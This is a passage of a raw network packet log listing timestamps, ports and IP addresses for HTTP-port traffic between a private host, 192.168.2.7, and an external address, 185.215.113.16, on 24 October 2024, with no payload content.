Oct 24, 2024 04:02:05.667911053 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.667946100 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668015003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668047905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668052912 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668083906 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668091059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668127060 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668147087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668190956 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668309927 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668345928 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668354034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668380976 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668386936 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668421984 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668488026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668519020 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668533087 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668554068 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668562889 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668596029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668642998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668688059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668698072 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668735027 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668741941 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668790102 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668823957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668860912 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668864965 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668898106 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668900967 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668935061 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.668939114 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668972015 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.668994904 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669037104 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669048071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669083118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669090986 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669125080 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669190884 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669225931 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669235945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669261932 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669270039 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669302940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669365883 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669401884 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669411898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669436932 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669441938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669469118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669478893 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669507980 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669560909 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669595957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669605017 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669632912 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669636965 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669675112 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669720888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669754982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669766903 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669790983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669799089 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669831038 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669882059 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669915915 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.669926882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.669956923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.707751989 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.707809925 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.707847118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.707880974 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.707891941 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.707902908 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.707916975 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.707927942 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.707956076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.707999945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.741714001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.741744995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.741770029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.741799116 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.741799116 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.741837025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.741839886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.741873026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.741878033 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.741928101 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.741930008 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.741969109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742404938 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742448092 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742464066 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742506027 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742518902 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742559910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742573023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742613077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742626905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742662907 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742681980 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742716074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742722988 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742752075 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742757082 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742784023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742791891 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742822886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742835999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742871046 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742875099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742913008 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742924929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742960930 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742964029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.742995024 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.742999077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743033886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743051052 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743089914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743103981 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743139982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743144989 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743175983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743211031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743212938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743212938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743247986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743257046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743284941 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743285894 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743331909 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743338108 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743372917 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743374109 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743417978 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743427992 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743469000 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743483067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743518114 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743524075 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743560076 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743571997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743611097 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743621111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743653059 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743665934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743701935 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743711948 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743746996 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743752003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743793964 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743808031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743841887 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743866920 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743875980 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743897915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743911982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743916035 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743951082 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743952990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.743984938 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.743993998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744023085 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744028091 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744060040 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744067907 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744102955 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744115114 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744160891 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744170904 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744215965 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744232893 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744277000 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744283915 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744318962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744330883 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744354010 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744365931 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744388103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744396925 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744421005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744426966 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744455099 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744462967 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744488955 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744499922 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744524002 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744532108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744559050 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744565964 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744595051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744605064 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744638920 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744669914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744693041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744729996 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744730949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744730949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744764090 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744772911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744800091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744806051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744836092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744843960 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744874001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744880915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744909048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744918108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744946003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744956017 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.744976997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.744991064 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.745017052 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.784121990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784178972 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784194946 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.784214020 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784219027 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.784251928 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784270048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.784286976 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784292936 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.784322023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784328938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.784364939 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.784928083 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784959078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.784989119 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785003901 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785279989 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785310984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785329103 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785346985 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785362959 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785389900 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785418034 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785453081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785463095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785487890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785497904 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785523891 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785533905 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785563946 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785571098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785607100 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785618067 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785648108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785661936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785711050 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785717010 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785754919 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785763979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785797119 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785809040 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785845995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785849094 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785880089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785895109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785916090 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785926104 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785953045 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.785962105 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.785995960 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786036015 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786081076 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786147118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786191940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786201000 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786237955 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786247015 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786272049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786282063 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786314011 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786329985 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786365032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786374092 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786408901 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786422968 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786453962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786470890 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786495924 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786504030 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786537886 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786554098 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786567926 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786580086 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786602974 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786612034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786639929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786664009 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786681890 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786693096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786729097 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786739111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786762953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786770105 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786803007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786804914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786837101 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786848068 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786874056 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.786883116 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.786917925 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.827050924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827075958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827106953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827124119 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827141047 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827158928 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827163935 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.827178001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827193975 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.827199936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827212095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.827217102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.827228069 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.827241898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.827260971 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.861072063 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.861130953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.861135960 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.861169100 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.861176968 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.861205101 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.861211061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.861242056 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:05.861248016 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:05.861288071 CEST	49930	80	192.168.2.7	185.215.113.16
